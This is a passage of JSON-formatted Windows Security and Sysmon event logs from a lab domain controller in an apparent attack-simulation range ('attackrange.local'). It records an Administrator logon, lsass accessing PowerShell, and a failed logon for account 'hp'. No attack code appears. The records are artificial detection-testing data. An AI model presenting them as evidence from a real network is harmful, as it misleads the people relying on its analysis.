11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221720,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221721,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x45476\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x45476","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221722,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x45476\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x45476","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.490\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.490","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.490\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.490","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.506\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.506","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.522\r\nProcessGuid: {90617006-4009-5F2D-0000-0010C9520400}\r\nProcessId: 4560\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_y2rswlgp.drv.ps1\r\nCreationUtcTime: 2020-08-07 11:50:33.522","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.522","ProcessGuid":"{90617006-4009-5F2D-0000-0010C9520400}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_y2rswlgp.drv.ps1","CreationUtcTime":"2020-08-07 11:50:33.522","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.569\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.569","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.569\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.569","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221723,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure 